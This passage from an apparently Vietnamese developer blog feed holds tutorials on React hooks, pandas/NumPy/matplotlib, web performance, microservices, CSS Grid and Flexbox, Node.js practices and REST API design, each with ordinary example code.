| dependencies | Khi chạy | |---|---| | undefined | Mỗi lần render | | [] | Mount + unmount | | [a, b] | Khi a hoặc b thay đổi |

useContext — Không Còn Prop Drilling

const ThemeContext = createContext('light');

function App() {
  return (
    <ThemeContext.Provider value="dark">
      <Toolbar />
    </ThemeContext.Provider>
  );
}

function Toolbar() {
  const theme = useContext(ThemeContext);
  return <div className={theme}>Hello</div>;
}

useReducer — State Phức Tạp

const initialState = { count: 0 };

function reducer(state, action) {
  switch (action.type) {
    case 'increment': return { count: state.count + 1 };
    case 'decrement': return { count: state.count - 1 };
    case 'reset': return { count: action.payload };
    default: return state;
  }
}

function Counter() {
  const [state, dispatch] = useReducer(reducer, initialState);

  return (
    <>
      <p>{state.count}</p>
      <button onClick={() => dispatch({ type: 'increment' })}>+</button>
      <button onClick={() => dispatch({ type: 'reset', payload: 0 })}>Reset</button>
    </>
  );
}

Dùng useReducer khi state có nhiều trường phụ thuộc nhau hoặc logic phức tạp.

useRef — Giữ Giá Trị Qua Các Render

function AutoFocus() {
  const inputRef = useRef<HTMLInputElement>(null);

  useEffect(() => {
    inputRef.current?.focus();
  }, []);

  return <input ref={inputRef} />;
}

useRef không gây re-render khi thay đổi — dùng để lưu timeout ID, DOM reference, hoặc giá trị cần giữa các render.

useMemo & useCallback — Performance

// useMemo — memoize giá trị
const sortedList = useMemo(() => {
  return items.sort((a, b) => a.name.localeCompare(b.name));
}, [items]);

// useCallback — memoize function
const handleClick = useCallback((id: number) => {
  setSelected(id);
}, []);

Không lạm dụng — chỉ dùng khi thực sự cần (danh sách lớn, truyền callback cho child memoized).

Custom Hooks — Tái Sử Dụng Logic

function useWindowSize() {
  const [size, setSize] = useState({ width: 0, height: 0 });

  useEffect(() => {
    const handleResize = () => {
      setSize({ width: window.innerWidth, height: window.innerHeight });
    };
    window.addEventListener('resize', handleResize);
    handleResize();
    return () => window.removeEventListener('resize', handleResize);
  }, []);

  return size;
}

// Dùng
function App() {
  const { width, height } = useWindowSize();
  return <p>{width} x {height}</p>;
}

useFetch

function useFetch<T>(url: string) {
  const [data, setData] = useState<T | null>(null);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState<Error | null>(null);

  useEffect(() => {
    const abort = new AbortController();
    setLoading(true);

    fetch(url, { signal: abort.signal })
      .then(res => res.json())
      .then(setData)
      .catch(setError)
      .finally(() => setLoading(false));

    return () => abort.abort();
  }, [url]);

  return { data, loading, error };
}

Rules of Hooks

Chỉ gọi hooks ở top level — không trong if, loop, function lồng
Chỉ gọi hooks trong function component hoặc custom hook
Tên custom hook bắt đầu bằng use

Kết Luận

Hooks làm React đơn giản hơn, dễ đọc hơn, dễ test hơn. Nắm vững 5 hooks cơ bản (useState, useEffect, useContext, useRef, useMemo) là bạn đã xử lý được 90% tình huống. Custom hooks là cách bạn viết code React sạch và tái sử dụng.

Tài liệu tham khảo

Python Cho Data Science — Pandas, NumPy Và Matplotlib Cơ Bản

Sat, 27 Jun 2026 00:00:00 GMT

Python là ngôn ngữ số 1 cho Data Science — đơn giản, hệ sinh thái khổng lồ. Bài này dẫn bạn từ 0 đến phân tích dữ liệu cơ bản.

Cài Đặt

pip install pandas numpy matplotlib seaborn jupyter
# Hoặc dùng conda
conda create -n ds python=3.12 pandas numpy matplotlib seaborn jupyter

NumPy — Nền Tảng Tính Toán Số

NumPy là thư viện nền tảng — cung cấp array và các phép toán số học hiệu quả.

import numpy as np

# Tạo array
arr = np.array([1, 2, 3, 4, 5])
zeros = np.zeros((3, 4))
ones = np.ones((2, 3))
rng = np.arange(0, 10, 2)  # [0, 2, 4, 6, 8]
lin = np.linspace(0, 1, 5)  # [0, 0.25, 0.5, 0.75, 1]

# Phép toán — vectorized, không cần loop
a = np.array([1, 2, 3])
b = np.array([4, 5, 6])
print(a + b)    # [5, 7, 9]
print(a * b)    # [4, 10, 18]
print(a.mean()) # 2.0
print(a.sum())  # 6

# Indexing & slicing
matrix = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]])
print(matrix[0, 1])      # 2
print(matrix[:, :2])     # [[1, 2], [4, 5], [7, 8]]
print(matrix[matrix > 5]) # [6, 7, 8, 9] — boolean indexing

Pandas — Xương Sống Của Data Science

Series vs DataFrame

import pandas as pd

# Series — 1 cột
s = pd.Series([10, 20, 30, 40], index=['a', 'b', 'c', 'd'])

# DataFrame — bảng
df = pd.DataFrame({
    'name': ['Alice', 'Bob', 'Charlie'],
    'age': [25, 30, 35],
    'salary': [50000, 60000, 70000],
})

Đọc/Ghi Dữ Liệu

# CSV
df = pd.read_csv('sales.csv')
df.to_csv('cleaned.csv', index=False)

# Excel
df = pd.read_excel('data.xlsx', sheet_name='Sheet1')

# JSON
df = pd.read_json('data.json')

# SQL
from sqlalchemy import create_engine
engine = create_engine('postgresql://user:pass@localhost/db')
df = pd.read_sql('SELECT * FROM users', engine)

Khám Phá Dữ Liệu

df.head(10)          # 10 dòng đầu
df.info()            # Kiểu dữ liệu, null count
df.describe()        # Thống kê cơ bản
df.shape             # (số dòng, số cột)
df.columns           # Danh sách cột
df['column'].value_counts()  # Đếm giá trị
df.isnull().sum()    # Số null mỗi cột

Lọc & Chọn

# Lọc cột
df['name']
df[['name', 'salary']]

# Lọc dòng
df[df['age'] > 30]
df[(df['age'] > 25) & (df['salary'] > 55000)]
df.query('age > 25 and salary > 55000')

# Lọc bằng loc/iloc
df.loc[0:2, ['name', 'salary']]  # Label-based
df.iloc[0:2, 0:2]                # Index-based

Xử Lý Missing Data

# Kiểm tra
df.isnull().sum()

# Xóa
df.dropna()                    # Xóa dòng có null
df.dropna(subset=['email'])    # Xóa dòng null ở cột cụ thể

# Điền giá trị
df['age'].fillna(df['age'].median(), inplace=True)
df['category'].fillna('Unknown', inplace=True)
df.fillna(method='ffill')      # Forward fill

Group By & Aggregate

# Doanh thu trung bình theo phòng ban
df.groupby('department')['salary'].mean()

# Nhiều aggregate
df.groupby('department').agg({
    'salary': ['mean', 'median', 'min', 'max'],
    'age': 'mean',
})

# Pivot table
pd.pivot_table(df, values='salary', index='department',
               columns='gender', aggfunc='mean')

Apply — Transform Dữ Liệu

# Tạo cột mới
df['bonus'] = df['salary'] * 0.1

# Apply function
df['name_length'] = df['name'].apply(len)

# Map giá trị
df['gender_code'] = df['gender'].map({'Male': 0, 'Female': 1})

# Vectorized string operations
df['email_domain'] = df['email'].str.split('@').str[1]

Matplotlib & Seaborn — Trực Quan Hóa

Matplotlib Cơ Bản

import matplotlib.pyplot as plt

# Line plot
x = [1, 2, 3, 4, 5]
y = [2, 4, 6, 8, 10]
plt.plot(x, y, marker='o', linestyle='--', color='blue')
plt.xlabel('X axis')
plt.ylabel('Y axis')
plt.title('Simple Line Plot')
plt.show()

# Bar chart
categories = ['A', 'B', 'C', 'D']
values = [23, 45, 56, 78]
plt.bar(categories, values, color='green')
plt.show()

# Histogram
data = np.random.normal(170, 10, 1000)
plt.hist(data, bins=30, edgecolor='black')
plt.xlabel('Height (cm)')
plt.ylabel('Frequency')
plt.show()

Seaborn — Đẹp Hơn, Dễ Hơn

import seaborn as sns

# Load dataset mẫu
tips = sns.load_dataset('tips')

# Scatter plot
sns.scatterplot(data=tips, x='total_bill', y='tip', hue='time')

# Box plot
sns.boxplot(data=tips, x='day', y='total_bill')

# Correlation heatmap
corr = tips.select_dtypes(include='number').corr()
sns.heatmap(corr, annot=True, cmap='coolwarm')

# Pair plot — quan hệ giữa nhiều biến
sns.pairplot(tips, hue='sex')

Ví Dụ Hoàn Chỉnh — Phân Tích Sales

import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns

# 1. Đọc dữ liệu
df = pd.read_csv('sales.csv')

# 2. Làm sạch
df.dropna(subset=['revenue'], inplace=True)
df['date'] = pd.to_datetime(df['date'])
df['month'] = df['date'].dt.month

# 3. Phân tích
monthly_revenue = df.groupby('month')['revenue'].sum()
top_products = df.groupby('product')['revenue'].sum().sort_values(ascending=False).head(10)

# 4. Trực quan
fig, axes = plt.subplots(1, 2, figsize=(14, 5))

axes[0].plot(monthly_revenue.index, monthly_revenue.values, marker='o')
axes[0].set_title('Monthly Revenue')
axes[0].set_xlabel('Month')
axes[0].set_ylabel('Revenue')

sns.barplot(x=top_products.values, y=top_products.index, ax=axes[1])
axes[1].set_title('Top 10 Products')
axes[1].set_xlabel('Revenue')

plt.tight_layout()
plt.show()

Kết Luận

Data Science trong Python gồm 3 thư viện cốt lõi:

NumPy — Array và tính toán số
Pandas — Thao tác dữ liệu dạng bảng
Matplotlib/Seaborn — Trực quan hóa

Học theo thứ tự đó. Dành 80% thời gian cho Pandas — nó là thứ bạn dùng nhiều nhất. Jupyter Notebook là môi trường lý tưởng để thực hành.

Tài liệu tham khảo

Web Performance Optimization — Tối Ưu Tốc Độ Website

Fri, 26 Jun 2026 00:00:00 GMT

Tốc độ website ảnh hưởng trực tiếp đến user experience và SEO. 53% user rời trang nếu load lâu hơn 3 giây.

Core Web Vitals — Google Nói Gì?

| Metric | Tốt | Cần cải thiện | Kém | |---|---|---|---| | LCP (Largest Contentful Paint) | ≤ 2.5s | ≤ 4s | > 4s | | INP (Interaction to Next Paint) | ≤ 200ms | ≤ 500ms | > 500ms | | CLS (Cumulative Layout Shift) | ≤ 0.1 | ≤ 0.25 | > 0.25 |

1. Images — Nặng Nhất Trang

Lazy Loading

<img src="image.jpg" loading="lazy" alt="..." />

Chỉ tải ảnh khi user chuẩn bị scroll đến — tiết kiệm bandwidth, giảm initial load time.

WebP / AVIF

<picture>
  <source srcset="image.avif" type="image/avif">
  <source srcset="image.webp" type="image/webp">
  <img src="image.jpg" alt="...">
</picture>

WebP nhỏ hơn JPEG 25-35%, AVIF nhỏ hơn 50%.

Responsive Images

<img
  src="image-800.jpg"
  srcset="image-400.jpg 400w, image-800.jpg 800w, image-1200.jpg 1200w"
  sizes="(max-width: 600px) 400px, 800px"
  alt="..."
/>

Trình duyệt tự chọn ảnh phù hợp với viewport.

2. JavaScript — Kẻ Thù Của Performance

Code Splitting

// ❌ Tệ — import tất cả
import { Chart } from 'chart.js';

// ✅ Tốt — dynamic import
const Chart = await import('chart.js');

// React.lazy
const Dashboard = lazy(() => import('./Dashboard'));

Tree Shaking

// ❌ Import cả thư viện
import { debounce } from 'lodash';

// ✅ Import đúng hàm
import debounce from 'lodash/debounce';

Async / Defer

<!-- ❌ Block rendering -->
<script src="app.js"></script>

<!-- ✅ Tải song song, chạy sau khi parse HTML -->
<script defer src="app.js"></script>

<!-- ✅ Tải song song, chạy ngay khi tải xong -->
<script async src="analytics.js"></script>

3. CSS — Tối Ưu Render

Critical CSS

Inline CSS cần thiết cho above-the-fold, defer phần còn lại:

<head>
  <style>
    /* Critical CSS — inline trực tiếp */
    header { ... }
    .hero { ... }
  </style>
  <link rel="preload" href="styles.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
</head>

Loại Bỏ CSS Không Dùng

npx purgecss --css styles.css --content "src/**/*.html" --output dist/

4. Font — Tránh FOIT (Flash of Invisible Text)

<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>

<!-- font-display: swap — hiển thị text ngay với fallback font -->
<style>
  @font-face {
    font-family: 'Inter';
    src: url('/fonts/inter.woff2') format('woff2');
    font-display: swap;
  }
</style>

Không dùng quá 2 font families và subset font để giảm kích thước:

# glyphhanger — subset font
glyphhanger https://example.com --subset=*.ttf --formats=woff2

5. Caching — Đừng Để Browser Phải Tải Lại

HTTP Cache Headers

// Static assets — cache lâu
app.use('/assets', express.static('dist', {
  maxAge: '1y',
  immutable: true,
}));

// HTML — không cache hoặc cache ngắn
app.get('/', (req, res) => {
  res.set('Cache-Control', 'no-cache');
  res.sendFile('index.html');
});

Service Worker

// sw.js
self.addEventListener('install', (event) => {
  event.waitUntil(
    caches.open('v1').then((cache) => {
      return cache.addAll([
        '/',
        '/styles.css',
        '/app.js',
      ]);
    })
  );
});

self.addEventListener('fetch', (event) => {
  event.respondWith(
    caches.match(event.request).then((response) => {
      return response || fetch(event.request);
    })
  );
});

6. Network — Giảm Số Request

HTTP/2 Multiplexing

HTTP/2 cho phép gửi nhiều file song song qua một connection. Không cần concatenate JS/CSS thành một file như thời HTTP/1.1.

Preload / Prefetch / Preconnect

<!-- Preload — tải sớm resource quan trọng -->
<link rel="preload" href="/fonts/inter.woff2" as="font" crossorigin>

<!-- Prefetch — tải trước trang user có thể visit -->
<link rel="prefetch" href="/blog/microservices">

<!-- Preconnect — kết nối trước đến origin -->
<link rel="preconnect" href="https://api.example.com">

7. Bundle Size — Theo Dõi

# Phân tích bundle
npx vite-bundle-visualizer
# hoặc
npx source-map-explorer dist/assets/*.js

Đặt threshold trong CI:

{
  "scripts": {
    "size": "bundlesize",
    "bundlesize": [
      { "path": "dist/assets/*.js", "maxSize": "100 kB" }
    ]
  }
}

8. Lighthouse Score — Tự Động Kiểm Tra

# Lighthouse CI
npx lhci autorun

# Hoặc web vitals trong code
import { onLCP, onINP, onCLS } from 'web-vitals';

onLCP(console.log);
onINP(console.log);
onCLS(console.log);

Checklist Tối Ưu

[ ] Images: WebP/AVIF, lazy loading, responsive
[ ] JS: code splitting, tree shaking, defer
[ ] CSS: critical CSS inline, purge unused
[ ] Font: display swap, subset, preconnect
[ ] Caching: Cache-Control, service worker
[ ] Preload critical resources
[ ] HTTP/2 enabled
[ ] Lighthouse score > 90
[ ] Core Web Vitals all "Good"

Kết Luận

Performance là tính năng. Không phải thứ "làm sau" — nó ảnh hưởng đến revenue, user retention, SEO. Bắt đầu từ images (thường là thủ phạm nặng nhất), sau đó đến JS và font. Đo lường trước và sau để thấy sự khác biệt.

Tài liệu tham khảo

Microservices Architecture — Khi Nào Và Làm Thế Nào?

Thu, 25 Jun 2026 00:00:00 GMT

Microservices không phải "viên đạn bạc" — nó là kiến trúc đi kèm chi phí. Bài này giúp bạn quyết định khi nào nên dùng và triển khai thế nào.

Monolith vs Microservices

| | Monolith | Microservices | |---|---|---| | Triển khai | 1 deploy = cả app | Mỗi service deploy riêng | | Scale | Scale toàn bộ | Scale từng service | | Độ phức tạp | Thấp (lúc đầu) | Cao (luôn luôn) | | Lỗi | 1 lỗi có thể crash cả app | Cô lập trong service | | Team | 1 team | Nhiều team độc lập |

Khi Nào Nên Dùng Microservices?

Nên bắt đầu với Monolith

Hầu hết project nên bắt đầu với monolith. Đừng microservices từ ngày 0.

Chuyển Sang Microservices Khi

Team > 10 người, nhiều team riêng
Deploy chậm vì phải chờ nhau
Một module cần scale khác biệt (ví dụ: notification service cần nhiều resource)
Cần công nghệ khác nhau cho từng module (Python cho ML, Node cho API)

Phân Chia Service

Theo Domain (DDD — Domain-Driven Design)

users-service → Quản lý user, auth
orders-service → Đơn hàng, thanh toán
products-service → Sản phẩm, kho hàng
notifications-service → Email, push, SMS

Mỗi service sở hữu data riêng — không share database.

Kích Thước Service

Service không nên quá nhỏ (nanoservices) hay quá lớn (distributed monolith). Dấu hiệu service quá to:

20 bảng trong database
10 developer cùng làm
Mất > 30 phút để hiểu codebase

Giao Tiếp Giữa Các Service

Synchronous — HTTP/REST hoặc gRPC

// Order service gọi User service
const user = await fetch(`http://users-service/users/${userId}`);

Ưu: Đơn giản, dễ debug. Nhược: Tăng latency, service phụ thuộc nhau.

Asynchronous — Message Queue

// Order service publish event
await broker.publish('order.created', {
  orderId: '123',
  userId: '456',
  amount: 100,
});

// Email service consume event
broker.subscribe('order.created', async (event) => {
  await sendEmail(event.userId, 'Order confirmed!');
});

Ưu: Loose coupling, chịu lỗi tốt. Nhược: Phức tạp hơn, khó debug.

Công cụ: RabbitMQ, Kafka, NATS, Redis Pub/Sub.

Service Discovery

# docker-compose.yml
services:
  users-service:
    image: users-service
    ports:
      - "3001:3000"

  orders-service:
    image: orders-service
    environment:
      - USERS_SERVICE_URL=http://users-service:3000

Kubernetes dùng DNS built-in: users-service.namespace.svc.cluster.local.

API Gateway

Gateway là entry point duy nhất cho client:

Client → API Gateway → users-service
                     → orders-service
                     → products-service

Gateway làm:

Routing — chuyển request đến service đúng
Auth — kiểm tra token trước khi vào internal
Rate limit — bảo vệ hệ thống
Response aggregation — gộp data từ nhiều service

// Ví dụ với Express Gateway hoặc custom
app.get('/order/:id', async (req, res) => {
  const [order, user, product] = await Promise.all([
    fetch(`http://orders-service/orders/${req.params.id}`),
    fetch(`http://users-service/users/${order.userId}`),
    fetch(`http://products-service/products/${order.productId}`),
  ]);
  res.json({ order, user, product });
});

Database Per Service

Mỗi service có database riêng — không share trực tiếp:

orders-service: PostgreSQL
users-service: PostgreSQL
products-service: MongoDB
analytics-service: ClickHouse

Vấn đề: Query xuyên service? Dùng eventual consistency + CQRS.

Distributed Tracing

Microservices khó debug — trace giúp theo dõi request xuyên service:

// OpenTelemetry
import opentelemetry from '@opentelemetry/api';

const tracer = opentelemetry.trace.getTracer('orders-service');

app.get('/order/:id', async (req, res) => {
  const span = tracer.startSpan('get-order');
  span.setAttribute('order.id', req.params.id);
  // ... xử lý
  span.end();
});

Công cụ: Jaeger, Zipkin, Grafana Tempo, Datadog APM.

Triển Khai

Docker Compose — Cho Dev

services:
  gateway:
    build: ./gateway
    ports:
      - "8080:8080"
  users:
    build: ./users-service
  orders:
    build: ./orders-service
  rabbitmq:
    image: rabbitmq:4-alpine

Kubernetes — Cho Production

apiVersion: apps/v1
kind: Deployment
metadata:
  name: users-service
spec:
  replicas: 3
  selector:
    matchLabels:
      app: users-service
  template:
    metadata:
      labels:
        app: users-service
    spec:
      containers:
        - name: users
          image: myapp/users-service:latest
          ports:
            - containerPort: 3000

Anti-patterns Cần Tránh

1. Shared Database

Service A đọc thẳng database của Service B → mất independence, khó thay đổi schema.

2. Synchronous Chain

Service A → Service B → Service C → Service D

Một service chậm → cả chain chậm → timeout → mất request.

Giải pháp: Dùng async, circuit breaker, hoặc gộp response tại gateway.

3. Over-engineering

3 developer, 10 user — mà 5 services. Bắt đầu đơn giản, tách sau khi cần.

Kết Luận

Microservices giải quyết vấn đề scale của team và tổ chức — không phải vấn đề kỹ thuật thuần túy. Nếu team bạn nhỏ, monolith là lựa chọn đúng đắn. Khi đau đến mức "phải tách", hãy tách — đừng tách trước khi đau.

Tài liệu tham khảo

CSS Grid & Flexbox — Bố Cục Web Hiện Đại Từ A Đến Z

Wed, 24 Jun 2026 00:00:00 GMT

Flexbox và Grid là hai công cụ layout mạnh nhất trong CSS hiện đại. Biết khi nào dùng cái nào là chìa khóa.

Flexbox vs Grid — Khi Nào Dùng Gì?

| Flexbox | Grid | |---|---| | Bố cục 1 chiều (row hoặc column) | Bố cục 2 chiều (row và column) | | Content-first — kích thước theo nội dung | Layout-first — chia lưới trước, đặt content sau | | Navigation, card hàng ngang, center | Trang chính, dashboard, gallery |

Flexbox — Linh Hoạt Một Chiều

Container

.container {
  display: flex;
  flex-direction: row;        /* mặc định: row | column */
  justify-content: center;    /* main axis */
  align-items: center;        /* cross axis */
  gap: 16px;                  /* khoảng cách giữa các item */
}

Items

.item {
  flex-grow: 1;     /* item có thể giãn */
  flex-shrink: 0;   /* item không co lại */
  flex-basis: 200px; /* kích thước cơ sở */
}

/* shorthand */
.item {
  flex: 1 0 200px;
}

Ví Dụ Thực Tế

Header với nav trái-phải:

header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 16px 24px;
}

Card grid responsive (không cần media query):

.card-container {
  display: flex;
  flex-wrap: wrap;
  gap: 16px;
}

.card {
  flex: 1 1 300px; /* tối thiểu 300px, giãn đều nếu còn chỗ */
}

CSS Grid — Mạnh Mẽ Hai Chiều

Container

.grid {
  display: grid;
  grid-template-columns: 1fr 2fr 1fr;
  grid-template-rows: auto 1fr auto;
  gap: 24px;
}

Grid Template Areas — Trực Quan Nhất

.layout {
  display: grid;
  grid-template-areas:
    "header  header  header"
    "sidebar content aside"
    "footer  footer  footer";
  grid-template-columns: 250px 1fr 200px;
  grid-template-rows: auto 1fr auto;
  min-height: 100vh;
  gap: 16px;
}

header { grid-area: header; }
nav    { grid-area: sidebar; }
main   { grid-area: content; }
aside  { grid-area: aside; }
footer { grid-area: footer; }

Auto-fit / Auto-fill — Responsive Không Media Query

.gallery {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
  gap: 16px;
}

auto-fill: tạo cột trống nếu thừa chỗ. auto-fit: co cột về 0, content giãn đầy.

Grid Item — Placement

.featured {
  grid-column: span 2;  /* chiếm 2 cột */
  grid-row: span 2;     /* chiếm 2 hàng */
}

/* Hoặc dùng line numbers */
.featured {
  grid-column: 1 / 3;
  grid-row: 1 / 3;
}

Holy Grail Layout — Flexbox + Grid

<body>
  <header>Header</header>
  <div class="main">
    <nav>Sidebar</nav>
    <main>Content</main>
    <aside>Aside</aside>
  </div>
  <footer>Footer</footer>
</body>

body {
  display: grid;
  grid-template-rows: auto 1fr auto;
  min-height: 100vh;
}

.main {
  display: flex;
  gap: 16px;
}

.main nav {
  flex: 0 0 250px;
}

.main main {
  flex: 1;
}

.main aside {
  flex: 0 0 200px;
}

@media (max-width: 768px) {
  .main {
    flex-direction: column;
  }
}

Center — Tuyệt Chiêu

/* Cách 1: Flexbox */
.parent {
  display: flex;
  justify-content: center;
  align-items: center;
}

/* Cách 2: Grid */
.parent {
  display: grid;
  place-items: center;
}

/* Cách 3: Absolute + transform */
.child {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
}

Mẹo Hay

Sticky Footer

body {
  display: flex;
  flex-direction: column;
  min-height: 100vh;
}

main {
  flex: 1;
}

Equal Height Columns

/* Flexbox mặc định đã equal height (align-items: stretch) */
.flex-container {
  display: flex;
}

/* Grid cũng vậy */
.grid-container {
  display: grid;
  grid-template-columns: 1fr 1fr 1fr;
}

Kết Luận

Flexbox cho component nhỏ, layout 1 chiều
Grid cho layout trang, layout 2 chiều
Kết hợp cả hai cho kết quả tốt nhất
gap thay margin — sạch hơn, dễ kiểm soát
minmax() + auto-fill = responsive không cần media query

Bỏ float, bỏ table layout. Flexbox và Grid là tất cả những gì bạn cần.

Tài liệu tham khảo

Node.js Best Practices Cho Backend Developer

Tue, 23 Jun 2026 00:00:00 GMT

Node.js chạy hơn 50% ứng dụng web backend. Nhưng dễ viết, khó làm đúng. Bài này tổng hợp những best practices thực tế.

1. Cấu Trúc Project — Folder-by-Feature

src/
├── modules/
│   ├── auth/
│   │   ├── auth.controller.ts
│   │   ├── auth.service.ts
│   │   ├── auth.routes.ts
│   │   └── auth.test.ts
│   └── user/
│       ├── user.controller.ts
│       ├── user.service.ts
│       ├── user.repository.ts
│       └── user.test.ts
├── shared/
│   ├── middleware/
│   ├── utils/
│   └── types/
├── config/
│   └── env.ts
└── app.ts

Folder-by-layer (controllers/, services/, models/) lộn xộn khi project lớn. Folder-by-feature — mỗi module tự quản lý route, controller, service, test riêng.

2. Error Handling — Không Để Crash

Custom Error Class

export class AppError extends Error {
  constructor(
    public statusCode: number,
    public message: string,
    public code?: string
  ) {
    super(message);
    this.name = 'AppError';
  }
}

// Usage
throw new AppError(404, 'User not found', 'USER_NOT_FOUND');

Global Error Handler

app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
  if (err instanceof AppError) {
    return res.status(err.statusCode).json({
      error: { code: err.code, message: err.message }
    });
  }

  // Lỗi không mong đợi — log và trả về 500
  console.error('Unexpected error:', err);
  res.status(500).json({
    error: { message: 'Internal server error' }
  });
});

3. Async — Luôn Dùng try/catch Hoặc Promise.catch

// ❌ Tệ — crash nếu reject
app.get('/users/:id', async (req, res) => {
  const user = await userService.findById(req.params.id);
  res.json(user);
});

// ✅ Tốt — wrapper
const asyncHandler = (fn: Function) =>
  (req: Request, res: Response, next: NextFunction) =>
    Promise.resolve(fn(req, res, next)).catch(next);

app.get('/users/:id', asyncHandler(async (req, res) => {
  const user = await userService.findById(req.params.id);
  res.json(user);
}));

4. Environment Variables — Zod Validation

import { z } from 'zod';

const envSchema = z.object({
  NODE_ENV: z.enum(['dev', 'prod', 'test']).default('dev'),
  PORT: z.coerce.number().default(3000),
  DATABASE_URL: z.string().url(),
  JWT_SECRET: z.string().min(32),
  REDIS_URL: z.string().url().optional(),
});

export const env = envSchema.parse(process.env);
// Throw ngay khi start nếu thiếu biến — không đợi runtime

5. Logging — Có Cấu Trúc

import pino from 'pino';

const logger = pino({
  level: env.NODE_ENV === 'prod' ? 'info' : 'debug',
  transport: env.NODE_ENV === 'dev'
    ? { target: 'pino-pretty' }
    : undefined,
});

logger.info({ userId, action: 'login' }, 'User logged in');
logger.error({ err, orderId }, 'Failed to process order');

Không dùng console.log — nó không có level, không structured, không thể search trong production.

6. Security Headers

import helmet from 'helmet';

app.use(helmet());
// Tự động thêm: CSP, X-Frame-Options, X-Content-Type-Options, HSTS...

7. Graceful Shutdown

process.on('SIGTERM', async () => {
  logger.info('SIGTERM received. Shutting down gracefully...');

  server.close(async () => {
    await db.disconnect();
    await redis.disconnect();
    process.exit(0);
  });

  // Force exit sau 30s
  setTimeout(() => {
    logger.error('Forced shutdown');
    process.exit(1);
  }, 30_000);
});

8. Package.json — Script Hữu Ích

{
  "scripts": {
    "dev": "tsx watch src/app.ts",
    "build": "tsc",
    "start": "node dist/app.js",
    "test": "vitest",
    "test:cov": "vitest --coverage",
    "lint": "eslint src/",
    "typecheck": "tsc --noEmit",
    "format": "prettier --write src/"
  }
}

9. Health Check Endpoint

app.get('/health', async (req, res) => {
  const dbHealthy = await db.$queryRaw`SELECT 1`;
  const redisHealthy = await redis.ping();

  res.json({
    status: dbHealthy && redisHealthy ? 'healthy' : 'degraded',
    uptime: process.uptime(),
    timestamp: new Date().toISOString(),
  });
});

10. Dependencies — Luôn Cập Nhật

# Kiểm tra outdated
npm outdated
pnpm outdated

# Cập nhật major
npx npm-check-updates -u
npm install

Kết Luận

Node.js dễ bắt đầu nhưng production đòi hỏi kỷ luật. Những practices trên giúp bạn:

Code dễ đọc, dễ mở rộng
Hạn chế crash không mong muốn
Dễ debug và monitoring
An toàn hơn trong production

Tài liệu tham khảo

REST API Design — Best Practices Cho Backend Developer

Mon, 22 Jun 2026 00:00:00 GMT

API là cầu nối giữa frontend và backend. Một REST API được thiết kế tốt giúp frontend dễ dàng tích hợp, debug, và mở rộng.

1. Đặt Tên Endpoint

Dùng Danh Từ Số Nhiều

✅ GET    /users          # Danh sách user
✅ GET    /users/:id      # Chi tiết user
✅ POST   /users          # Tạo user
✅ PUT    /users/:id      # Cập nhật toàn bộ
✅ PATCH  /users/:id      # Cập nhật một phần
✅ DELETE /users/:id      # Xóa user

❌ GET    /getUsers       # Dùng động từ
❌ GET    /user           # Số ít
❌ POST   /createUser     # Lặp động từ
❌ DELETE /deleteUser?id=1 # Query param để xóa

Resource Lồng Nhau

GET    /users/:id/posts           # Bài viết của user
GET    /users/:id/posts/:postId   # Chi tiết bài viết
POST   /users/:id/posts           # Tạo bài viết cho user

Actions — Khi CRUD Không Đủ

POST   /users/:id/activate        # Kích hoạt user
POST   /orders/:id/cancel         # Hủy đơn hàng
POST   /posts/:id/like            # Thích bài viết

Dùng POST thay vì GET/DELETE cho action — không phải action nào cũng là CRUD.

2. Versioning

URL Path (Phổ biến nhất)

/api/v1/users
/api/v2/users

Header (Less intrusive)

Accept: application/vnd.myapp.v1+json

URL path dễ đọc, dễ test, dễ route. Header "sạch" hơn về mặt REST thuần túy.

3. Response Format — Consistency Là Chìa Khóa

// ✅ Consistent success
{
  "data": { "id": 1, "name": "Alice" },
  "meta": { "requestId": "req-123" }
}

// ✅ Consistent error
{
  "error": {
    "code": "VALIDATION_ERROR",
    "message": "Email is required",
    "details": [
      { "field": "email", "message": "must not be empty" }
    ]
  }
}

Pagination

GET /users?page=1&limit=20

{
  "data": [...],
  "pagination": {
    "page": 1,
    "limit": 20,
    "total": 150,
    "totalPages": 8,
    "hasNext": true,
    "hasPrev": false
  }
}

Dùng cursor-based pagination cho real-time data (chat, feed):

GET /messages?cursor=eyJpZCI6MTB9&limit=20

{
  "data": [...],
  "nextCursor": "eyJpZCI6MzB9"
}

4. HTTP Status Code — Dùng Đúng Mã

| Code | Ý nghĩa | Dùng khi | |---|---|---| | 200 | OK | Thành công | | 201 | Created | POST tạo resource | | 204 | No Content | DELETE thành công | | 400 | Bad Request | Validation lỗi | | 401 | Unauthorized | Chưa đăng nhập | | 403 | Forbidden | Không có quyền | | 404 | Not Found | Resource không tồn tại | | 409 | Conflict | Trùng lặp, xung đột | | 422 | Unprocessable Entity | Dữ liệu không hợp lệ | | 429 | Too Many Requests | Rate limit | | 500 | Internal Server Error | Lỗi server |

5. Filtering, Sorting, Searching

# Filtering
GET /users?role=admin&status=active

# Sorting
GET /users?sort=name,-createdAt # name ASC, createdAt DESC

# Searching
GET /users?search=alice

# Field selection
GET /users?fields=id,name,email

6. Authentication

JWT trong Header

Authorization: Bearer <token>

Không dùng cookie cho mobile/SPA

Trừ khi bạn cần bảo vệ khỏi XSS (httpOnly cookie). Cân nhắc:

Bearer token — Đơn giản, mobile-friendly
httpOnly cookie — Chống XSS, nhưng dễ bị CSRF
Both — Access token (short-lived) + Refresh token (httpOnly)

7. Rate Limiting — Trả Về Header

X-RateLimit-Limit: 100
X-RateLimit-Remaining: 45
X-RateLimit-Reset: 1718845200

8. Idempotency — An Toàn Khi Retry

POST /payments
Idempotency-Key: uuid-v4

Server dùng key này để detect request trùng:

const existing = await cache.get(idempotencyKey);
if (existing) return existing;

const result = await processPayment(data);
await cache.set(idempotencyKey, result, { ttl: 86400 });
return result;

Cực kỳ quan trọng cho payment, order — nơi retry có thể gây hậu quả nghiêm trọng.

9. API Documentation

Công cụ phổ biến cho API documentation:

OpenAPI/Swagger — Tiêu chuẩn, sinh từ code
Scalar — Giao diện đẹp, hiện đại
